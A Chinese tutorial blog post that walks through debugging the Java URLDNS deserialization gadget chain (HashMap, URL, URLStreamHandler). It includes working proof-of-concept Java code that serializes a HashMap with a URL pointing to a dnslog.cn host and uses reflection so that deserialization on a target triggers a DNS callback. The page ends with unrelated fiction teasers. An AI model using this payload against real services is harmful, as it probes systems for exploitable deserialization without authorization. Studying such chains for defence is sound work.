URLDNS链调试

反序列化发掘依据:

1)调用链中使用的类可被序列化

2)调用链中使用的类属性可被序列化

反序列化发掘方法:

1)入口类重写readObject方法

2)入口类可传入任意对象(这种类一般为集合类)

3)执行类可被利用执行危险或任意函数

这条链算是JDK链里最简单的,作为入门可以看看,下面进行正向分析。

(小白们建议使用低版本的JDK去调试这个链,比如JDK8,这样调用反射时不会出现报错)

一、java.util.HashMap(入口类)

(一)入口类

首先说明入口类的概念,在这条链中,入口类可以被理解为JDK中经常被使用的类,并且其继承了Serializable接口、具备readObject方法、readObject方法中会调用一些类以及该类的某种方法(这种方法中可直接或间接调用危险函数)。

(二)分析

1)

这里选中HashMap类,并分析其readObject方法。

首先继承了Serializable接口:

image

重写了readObject方法:

【因为HashMap<K,V>:存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject方法。】

image
image

2)

我们这里选择分析readObject中调用的hash()方法。进行跟进。

image

可以看到,这里使用传入参数对象keyhashCode方法。由于很多类中都具有hashCode方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M,其hashCode方法中直接或间接可调用危险函数。

带着这种想法去找这么一个类M,最后,找到URL类可作为我们所说的类M(找寻过程需要对JDK很多类进行了解和分析)。

3)

接下来先解决当前问题:确定HashMap在readObject过程中能够正常执行到putVal()方法这里,以及传入hash方法中的参数对象key可控。

首先可以看到,参数对象Keys.readObject()获取

image

其中s为输入的序列化流(证明key可控)

image

其次,要执行这个for循环需要满足这个else if条件

image

而mappings由s.readInt()确定,即mappings的长度,也就是我们将HahsMap序列化前其不为空即可。

二、java.net.URL(调用链中的类)

(一)分析

4)

回到步骤(2)中的URL

跟进URL类的hashCode方法

image

可以看到当hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。

5)

跟进handler对象的hashCode方法

image

确定handler属性中保存的是URLStreamHandler类的实例。并且在调用其hashCode方法时,会执行getHostAddress方法(getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求,详情可以自己跟踪下去这个方法的实现,这里不多赘述)。

所以我们这里的目标就是通过入口类HashMap以及该调用链,实现JDK在反序列化我们构造的对象时,向我们设定好的DNS发起请求。

6)

首先,我们要确认URL类中的属性handler是否初始值不为null、或者可否被序列化(判断能否序列化可以看这个文章https://www.runoob.com/w3cnote/java-transient-keywords.html)。

因为如果初始值不为null,我们就特意去构造创建这么一个URLStreamHandler类的实例;如果为null,但可被序列化,那我们可以构造创建这么一个实例,来使其满足调用链。

image

在此处跟进handler

image

可以看到不满足我们上面期望的两种情况,handler属性不可被序列化、并且值默认为null。这样一来,我们不能保证完全使用这条链。需要进一步确定。

7)

搜索handler被使用的地方(URL类的对象初始化方法中)。

image

可以看到,handler属性通过context.handler来赋值

跟进context

image

显然,这里的context还是URL类的实例,说明这条构造方法通过其他构造方法来调用。

找到调用该构造方法的另一个构造方法:

image

可以看到,刚才的构造方法在这里进行调用,并且传入的handler参数为null

再往上查找,又找到一个构造方法,这里调用了刚才第二个构造方法,并且其构造只有一个传参

image

通过上面的英文注释,可以知道这里的唯一字符串传参,最后可被解析为URL。

8)

所以重新缕一下URL类对应实例的构造过程

通过new URL("http://xxx.xxx")创建实例,构造顺序如下:

image

通过单参数构造方法,调用双参数构造方法,传入的参数context为null

image

又通过双参数构造方法,调用了三参数构造方法,传入的参数context和handler都为null

进入到三参数构造方法:

image
image

来到protocol属性赋值这里,这里的newProtocol在上面字符串截取中已经被赋值,根据上面的spec参数,这里大概应该是http。

image

根据上面代码的执行情况,context还未被赋值,所以这条if语句中,context依然为空,不会执行

接下来的if判断,由于protocol被赋值,第一个if语句不会被执行

image

第二个if语句,此时handler还未被赋值,为null;

接下来的条件与中handler = getURLStreamHandler(protocol),调用了getURLStreamHandler方法给handler赋值。(有兴趣看细节的可以自己跟进这个方法)

然后handler再赋值给了this.handler

至此,确定this.handler在初始化过程中会被赋值,所以我们不用担心步骤(6)中为null的情况。

9)

我们回到步骤(6)中需要的条件

image

我们执行handler.hashCode()需要满足hashCode属性的值为-1

跟进hashCode属性

image

可以看到hashCode值默认为-1,满足条件。

三、java.net.URLStreamHandler(执行类)

这里补充一下执行类这个概念,首先从步骤(5)可以知道,最终执行的危险函数是URLStreamHandler实例的方法getHostAddress()。而URL类只是起到中间者的身份,在这整个链中,HashMap类作为入口类并在readObject时调用了URLhashCode方法,而URL类中的hashCode方法又调用了URLStreamHandler的危险方法。

四、编写和调试

(一)初步编写

10)编写序列化POC

//test1.java
import java.net.URL;
import java.io.*;
import java.util.HashMap;

public class test1 {
    public static void main(String[] args) throws IOException {
        URL url = new URL("http://abc.yqev2k.dnslog.cn");

        HashMap hashmap = new HashMap();
        hashmap.put(url,"ABC");

        FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}

11)编写反序列化代码,模拟服务端反序列化过程

//unser.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class unser {
    public static void main(String[] args) throws Exception {
        FileInputStream fileInputStream = new FileInputStream("./test1.ser");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);

        objectInputStream.readObject();

        objectInputStream.close();
        fileInputStream.close();
    }
}

12)问题

首先,在序列化生成POC的过程完毕后,我们查看DNSlog时,发现DNSlog居然收到了请求(这个请求是来自我们攻击方生成序列化POC时发出的,而不是我们真正想要的、服务端在反序列化过程发出的)

image

显然,在序列化代码中,有步骤调用了URL实例的hashCode方法

13)分析

我们可以下断点调试,也可以自己跟进去分析。

因为这里代码比较少,我们可以直接猜测出来,在执行这一步时,URL实例的hashCode方法被调用了。

image

跟进put方法

image

可以看到这里也会调用hash(key),所以导致了序列化过程对DNSlog进行请求。

14)初步解决

为了避免这一情况,可以利用步骤(4)中的hashCode属性:

在执行put方法前,将URL实例的hashCode属性的值修改为非-1

下面跟进hashCode属性

image

可以看到其修饰符为private,所以我们无法直接进行修改,这需要用到反射的方式。

(如果不理解“反射”的知识需要先去学习)

(二)再次编写

15)调试

import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;

public class test1 {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://abc.6kengh.dnslog.cn");

        Class clazz = Class.forName("java.net.URL");
        Field hashcode = clazz.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,123);

        HashMap hashmap = new HashMap();
        hashmap.put(url,"ABC");

        FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}

此时,反序列化过程DNSlog已经不会收到查询

image

16)分析

但在服务端反序列化过程中,并没有像预期一样向DNSlog发送查询。

细心的人可以发现到,UR实例的hashCode属性已经修改为非-1,所以在反序列化时不会进入到URLStreamHandler实例的hashCode方法。

为了方便一些人理解,下面设下断点来调试看看:

首先,DNSlog不收到请求,肯定是HashMapreadObject的过程出了问题,所以断点设在其readObject方法上

image

一路Step Over跟进到putVal这里(其实断点设在这更好)

image

Step into,然后选择hash进行Step into

image

可以看到一切都没问题,继续Step into跟进

image

这时,我们看到hashCode属性的值为123,并非-1,所以这就是DNSlog收不到信息的原因。

17)解决

因此,在反射调用修改hashCode的值后,需要在hashmap.put()赋值后面重新将hashCode修改回-1

import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;

public class test1 {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://abc.6kengh.dnslog.cn");

        Class clazz = Class.forName("java.net.URL");
        Field hashcode = clazz.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url,123);

        HashMap hashmap = new HashMap();
        hashmap.put(url,"ABC");
        hashcode.set(url,-1);

        FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(hashmap);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}
image

这样一来,模仿的反序列化过程DNSlog可以收到请求

补充

一)

其实步骤(7)(8)(9)的分析过程可以直接用程序证明

image
image

二)整条链的调用

image

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,036评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,046评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,411评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,622评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,661评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,521评论 1 304
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,288评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,200评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,644评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,837评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,953评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,673评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,281评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,889评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,011评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,119评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,901评论 2 355

推荐阅读更多精彩内容

  • final修饰的变量会指向一块固定的内存, 这块内存中的值不能改变. 存储过程 禁止使用存储过程,存储过程难以调试...
    lconcise阅读 925评论 0 1
  • 从三月份找实习到现在,面了一些公司,挂了不少,但最终还是拿到小米、百度、阿里、京东、新浪、CVTE、乐视家的研发岗...
    时芥蓝阅读 42,246评论 11 349
  • 前言 本开发规范基于《阿里巴巴Java开发手册终极版》修改,并集成我们自己的项目开发规范,整合而成。 为表示对阿里...
    4ea0af17fd67阅读 5,640评论 0 5
  • 1、Handler: 1):系统Handler的创建过程及相关对象的创建:在ActivityThread的main...
    Steven_SHH阅读 805评论 0 5
  • 阿里巴巴 JAVA 开发手册 1 / 32 Java 开发手册 版本号 制定团队 更新日期 备 注 1.0.0 阿...
    糖宝_阅读 7,565评论 0 5